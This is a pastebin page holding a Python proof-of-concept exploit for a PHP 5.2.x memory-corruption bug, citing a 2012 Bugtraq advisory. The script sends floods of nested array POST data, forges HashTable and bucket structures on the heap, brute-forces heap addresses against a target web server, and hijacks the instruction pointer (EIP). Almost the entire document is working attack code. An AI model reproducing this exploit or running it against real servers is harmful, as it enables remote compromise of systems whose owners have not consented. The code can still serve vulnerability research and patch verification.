Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Aug 18th, 2012  |  syntax: Python  |  size: 3.49 KB  |  hits: 1,056  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/env python
  2. """
  3. Author: Worawit Wang
  4. Bug Detail: http://seclists.org/bugtraq/2012/Feb/93
  5. Affect version: 5.2.x
  6.  
  7. This PoC requires apache mpm prefork on Linux 32-bit with below settings to 1
  8. - StartServers
  9. - MinSpareServers
  10. - MaxSpareServers
  11. - MaxClients
  12. """
  13. import httplib
  14. import sys
  15. from struct import pack, unpack
  16.  
  17. #host = '127.0.0.1'
  18. host = '192.168.7.30'
  19. port = 80
  20. page = '/anypage.php'
  21.  
  22. MAX_NEST = 64
  23. MAX_INPUT = 1000
  24.  
  25. array_equal = "[]"*MAX_NEST + "="
  26.  
  27. headers = {
  28.         "Accept": "text/plain",
  29.         "Content-type": "application/x-www-form-urlencoded",
  30. }
  31.  
  32. heap_offset = 0x18 # offset from allocated heap segment to the real data
  33. hashtable_offset = 140
  34. arBucket_offset = hashtable_offset + 40
  35. bucket_offset = arBucket_offset + 20
  36. fake_data_size = 768*1024
  37.  
  38. conn = httplib.HTTPConnection(host, port)
  39.  
  40. # first request
  41. spam_body = "&".join([ str(i) + array_equal for i in xrange(MAX_INPUT) ]*7)
  42.  
  43. def create_fake_search(base_addr, prebody, total_size=4096, pDestructor=0):
  44.         size = 0
  45.         fake = prebody
  46.        
  47.         while size < total_size:
  48.                 fake += "\x00"*(size+hashtable_offset-len(fake)) # padding
  49.                
  50.                 arBucket_addr = base_addr + arBucket_offset
  51.                 # create HashTable
  52.                 fake += "AAAA" # nTableSize
  53.                 fake += pack("<III", 0, 0, 0) # nTableMask, nNumOfElements, nNextFreeElement
  54.                 fake += pack("<I", 0) # pInternalPointer
  55.                 fake += pack("<I", 0) # pListHead
  56.                 fake += pack("<I", 0) # pListTail
  57.                 fake += pack("<I", arBucket_addr) # arBuckets
  58.                 fake += pack("<I", pDestructor) # pDestructor
  59.                 fake += "\x00"*3
  60.                
  61.                 bucket_addr = base_addr + bucket_offset
  62.                 fake += "\x00"*(size+arBucket_offset-len(fake)) # padding
  63.                 # fake arBucket
  64.                 fake += pack("<I", bucket_addr) # arBuckets
  65.                 fake += "\x00"*(size+bucket_offset-len(fake)) # padding
  66.                 # fake bucket
  67.                 fake += pack("<I", 0) # h
  68.                 fake += pack("<I", 0) # nKeyLength
  69.                 fake += pack("<I", bucket_addr+12) # pData
  70.                 fake += pack("<I", bucket_addr+40) # pDataPtr
  71.                 fake += pack("<I", 0) # pListNext
  72.                 fake += pack("<I", 0) # pListNext
  73.                 fake += pack("<I", 0) # pListLast
  74.                 fake += pack("<I", 0) # pNext
  75.                 fake += pack("<I", 0) # pLast
  76.                
  77.                 size += 4096
  78.                 fake += "\x00"*(size-len(fake))
  79.                
  80.         return fake
  81.  
  82. #addr = 0xb6af9000 + heap_offset
  83. addr = 0xb6600000 + heap_offset
  84. while addr < 0xb7100000:
  85.         conn.connect()
  86.         print "Trying addr: %08x" % addr
  87.         conn.request('POST', page, spam_body, headers=headers)
  88.         resp = conn.getresponse()
  89.         if resp.status != 500:
  90.                 print "Unexpect status %d" % resp.status
  91.                 sys.exit()
  92.         data = resp.read()
  93.        
  94.         prebody = "0="+ pack("<I", addr+hashtable_offset)*32 + "&a="
  95.         body = create_fake_search(addr, prebody, fake_data_size, 0)
  96.         body += "Z"*(len(spam_body)-len(body))
  97.         conn.request('POST', page, body, headers=headers)
  98.         try:
  99.                 resp = conn.getresponse()
  100.                 data = resp.read()  # good addr
  101.                 break
  102.         except:
  103.                 # connection lost ==> bad addr
  104.                 addr += 0x80000
  105.                 conn.close()
  106.  
  107. print
  108. print "Found valid address: %08x" % addr
  109. print "Sending payload to controlling EIP to 0xdeadf00d as PoC"
  110. conn.request('POST', page, spam_body, headers=headers)
  111. resp = conn.getresponse()
  112. if resp.status != 500:
  113.         print "Unexpect status %d" % resp.status
  114.         sys.exit()
  115. data = resp.read()
  116.  
  117. # real controlling EIP
  118. prebody = "0="+ pack("<I", addr+hashtable_offset)*32 + "&a="
  119. body = create_fake_search(addr, prebody, fake_data_size, 0xdeadf00d)
  120. body += "Z"*(len(spam_body)-len(body))
  121. conn.request('POST', page, body, headers=headers)
  122. try:
  123.         resp = conn.getresponse()
  124.         print "Fail"
  125. except:
  126.         print "Success"
  127. conn.close()